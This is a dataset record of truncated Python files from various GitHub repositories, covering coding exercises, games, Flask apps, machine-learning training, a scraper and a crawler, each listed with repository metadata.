github-code
13
5311986178
import utils import os from PIL import Image from matplotlib import pyplot as plt import numpy as np import crypto def get_spikes_for_letter_for_noise(letter, noise_level): spike_trains = [] noise_string = "_" + str(noise_level) + "_" folder = '/Users/mihailplesa/Documents/Doctorat/Research/Dataset/' + le...
miiip/Privacy-Presering-Spiking-Neural-P-System
test.py
test.py
py
3,367
python
en
code
0
github-code
13
9087807450
import sys input = sys.stdin.readline R, C, M = map(int, input().split()) arr = {} m_r = int((R-1)*2) m_c = int((C-1)*2) result = 0 for _ in range(M): r,c,s,d,z = map(int, input().split()) arr[(r-1,c-1)]=[s,d,z] def next_arr(arr, p): new_fish_index = {} global m_r, m_c, R, result for i in range(R)...
MinsangKong/DailyProblem
07-12/4-2.py
4-2.py
py
2,012
python
en
code
0
github-code
13
16641994577
import sys import threadpool import mistletoe from bs4 import BeautifulSoup import httpx import os import re def download_pics(url, file, img_name): img_data = httpx.get(url).content filename = os.path.basename(file).split('.')[0] dirname = os.path.dirname(file) targer_dir = os.path.join(dirname, f'{f...
JcobCN/JianshuMarkdownImg2Local
spider_new.py
spider_new.py
py
3,099
python
en
code
2
github-code
13
71496992979
# 손 코딩 연습 (5) - 병합정렬 # 병합정렬이란? 하나의 리스트를 두 개의 균등한 크기로 분할하고 분할된 부분 리스트를 정렬한 다음, # 두 개의 정렬된 부분 리스트를 합하여 전체가 정렬된 리스트가 되게 하는 방법 # 시간 복잡도 - O(n + k) / k = max number of array # 공간 복잡도 - O(k) / 병합할 결과를 담아 놓을 배열이 추가적으로 필요합니다. def counting_sort(arr): max_num = max(arr) count = [0 for _ in range(max_num + 1)] answ...
eunseo-kim/Algorithm
Algorithm/06_계수정렬.py
06_계수정렬.py
py
892
python
ko
code
1
github-code
13
70835720658
# ------------------------------------------------------------ # File: Operations.py # Developed by: Erick Barrantes, Jessica Espinoza # Project: FunSkills-Compiler # version: 1 # # Last modified 26 /10 /19 # Description: Grammar for mathematical operations # # TEC 2019 | CE3104 - Lenguajes, Compiladores e Interpretes ...
ce-box/CE3104-Fun-Skills
Compiler/src/compiler/syntactic/Operations.py
Operations.py
py
2,350
python
en
code
7
github-code
13
35028308580
# 컵홀더 N = int(input()) seat = input() i = cnt = 0 while i < N: if seat[i] == 'S': i += 1 cnt += 1 else: i += 2 cnt += 1 if cnt + 1 > N: print(N) else: print(cnt + 1)
Jehyung-dev/Algorithm
백준/Bronze/2810. 컵홀더/컵홀더.py
컵홀더.py
py
241
python
en
code
0
github-code
13
1581039461
import bcrypt import sys import os.path import sqlite3 as sql from random import shuffle import random import json from flask import Flask, url_for, redirect, render_template, request, session from functools import wraps app = Flask(__name__) @app.route("/", methods=['GET', 'POST']) def renderGamePage(): if re...
RoanCreed7/set09103
coursework/main.py
main.py
py
2,176
python
en
code
0
github-code
13
10887831522
import pandas as pd import numpy as np import pickle import json from flaml import AutoML from dotenv import dotenv_values from sklearn.model_selection import StratifiedKFold def amex_metric_mod(y_true, y_pred): labels = np.transpose(np.array([y_true, y_pred])) labels = labels[labels[:, 1].argsort()[::...
Dael-the-Mailman/ML-Capstone-Project
models/FLAML_Model_5_Train.py
FLAML_Model_5_Train.py
py
3,259
python
en
code
0
github-code
13
23058497116
from tkinter import * from tkinter.scrolledtext import * import Lexer as lexer from idlelib.percolator import Percolator import idlelib.colorizer as ic import LL1ParserExcep as LL1 def verificar_codigo(event=None): # Habilitar la edición de la consola output_window.config(state=NORMAL) output_window.delet...
LUCASSANCHEZ12/My_own_Programming_Language
IDE.py
IDE.py
py
6,263
python
es
code
0
github-code
13
41891364652
import sys from glob import glob import re files = glob(sys.argv[1]) for path in files: outpath = path + '.out' vb = 'Metrics for Query: 1\ Count: 256 times executed in whole run\ AQET: 0.006403 seconds (arithmetic mean)\ AQET(geom.): 0.006140 seconds (geom...
LinkedDataFragments/Availability-Performance-Benchmark
evaluation/parsebsbm.py
parsebsbm.py
py
1,564
python
en
code
0
github-code
13
32564895241
# For information about initializing game buttons, see button py import pygame.ftfont # The module can render text to the screen class Button: # message is the text we want to display in the button def __init__(self, ai_settings, screen, message): """Initialize button properties""" self.scre...
neetiachar/Alien-Invasion-Project
prj_files/button.py
button.py
py
1,591
python
en
code
0
github-code
13
1527917536
# # @lc app=leetcode id=3 lang=python3 # # [3] Longest Substring Without Repeating Characters # # @lc code=start class Solution: def lengthOfLongestSubstring(self, s: str) -> int: if len(s)==0 or len(s)==1: return len(s) windStart=0;windEnd=0;windHash={s[0]:0} currLen=1;maxLen=...
stuntmartial/DSA
Leetcode/3.longest-substring-without-repeating-characters.py
3.longest-substring-without-repeating-characters.py
py
972
python
en
code
0
github-code
13
23296099620
""" This script introduces the 'Complex' class that is fulling the Database object A Complex takes as input a pdb, a mrc and some extra selection tools and outputs a grid aligned with the mrc. It makes the conversion from (n,3+features) matrices to the grid format. """ import os import sys import time import numpy as...
Vincentx15/crIA-EM
load_data/GridComplex.py
GridComplex.py
py
8,567
python
en
code
0
github-code
13
74023195539
import pygame from scripts import constants, globals from scripts.player import Player class Hud(pygame.sprite.Sprite): def __init__(self): self.hp = HPBar() self.ammo = AmmoBar() self.wpn = WeaponName() self.msg = Message() def update(self): self.hp.update() se...
donqnr/unnamed-pygame-platformer
scripts/ui.py
ui.py
py
3,236
python
en
code
1
github-code
13
38425356332
from service.worker_service import Worker from threading import Thread, Lock, Event from module import helper from time import sleep class Manager(Thread): def __init__(self, rabbitmq_pool, proxy_pool, credential_pool): super().__init__() self.index = 0 self.rabbitmq_pool = rabbitmq_pool ...
t4iv0i/multiplatform_crawler
service/manager_service.py
manager_service.py
py
1,612
python
en
code
1
github-code
13
25685898222
from sys import argv from db.client import DbClient if __name__ == "__main__": if len(argv) > 1 and argv[1].lower().strip() == "--new": dbc = DbClient(new=True) else: dbc = DbClient() for spider in dbc.spiders: p = spider.provider dbc.combos_to_csv(1, dbc.missing(p), f'{p...
HartBlanc/CardRates
src/createCSV.py
createCSV.py
py
329
python
en
code
1
github-code
13
21538173674
# stupid addition takes two values(x, y) # if x is str and y is str # change both value to int and sum # if x is int and y is int # change both value to string and concatenate # else return none def stupid_addition(x, y): if isinstance(x, str) and isinstance(y, str): return int...
Mark-McAdam/cs_lambda
Intro-Python-I/stupid_addition.py
stupid_addition.py
py
597
python
en
code
0
github-code
13
4000541135
import json from bs4 import BeautifulSoup import requests import re import sys from nltk import sent_tokenize from nltk.tokenize.punkt import PunktSentenceTokenizer, PunktParameters import pprint import dimensions import repository pp = pprint.PrettyPrinter(indent=4) DictQuote={} final_quote="" final_image="" punctu...
NUKnightLab/piquote
quote.py
quote.py
py
13,487
python
en
code
3
github-code
13
41047993355
from turtle import * from random import * def random_color(): r = randint(0, 255) g = randint(0, 255) b = randint(0, 255) color = (r, g, b) return color def draw_spirograph(turtle, size_of_gap, r): for i in range(int(360 / size_of_gap)): tim.color(random_color()) tim.circle(r...
codeBeaver2002/circleDraw
main.py
main.py
py
510
python
en
code
0
github-code
13
23046903209
import tempfile import time import pandas as pd import numpy as np from pkg_resources import resource_filename from flask import Flask, make_response, request, abort from .predict import do_run from .io import read_model def create_model_app(model_fpath, schema_fpath, **kwargs): model = read_model(model_fpath) ...
closedloop-ai/cv19index
cv19index/server.py
server.py
py
1,545
python
en
code
90
github-code
13
15629333223
import numpy as np import matplotlib.pyplot as plt import pandas as pd import math from matplotlib.ticker import MaxNLocator import imageio import os MAX_ITER = 3 # Max iteration DU_TH = 0.1 # iteration finish param GOAL_DIS_X = 1.0 # goal distance GOAL_DIS_Y = 1.0 # goal distance STOP_SPEED = 2.0 # stop speed MA...
YimingShu-teay/Safety-critical-Decision-making-and-Control
code/utils.py
utils.py
py
5,597
python
en
code
2
github-code
13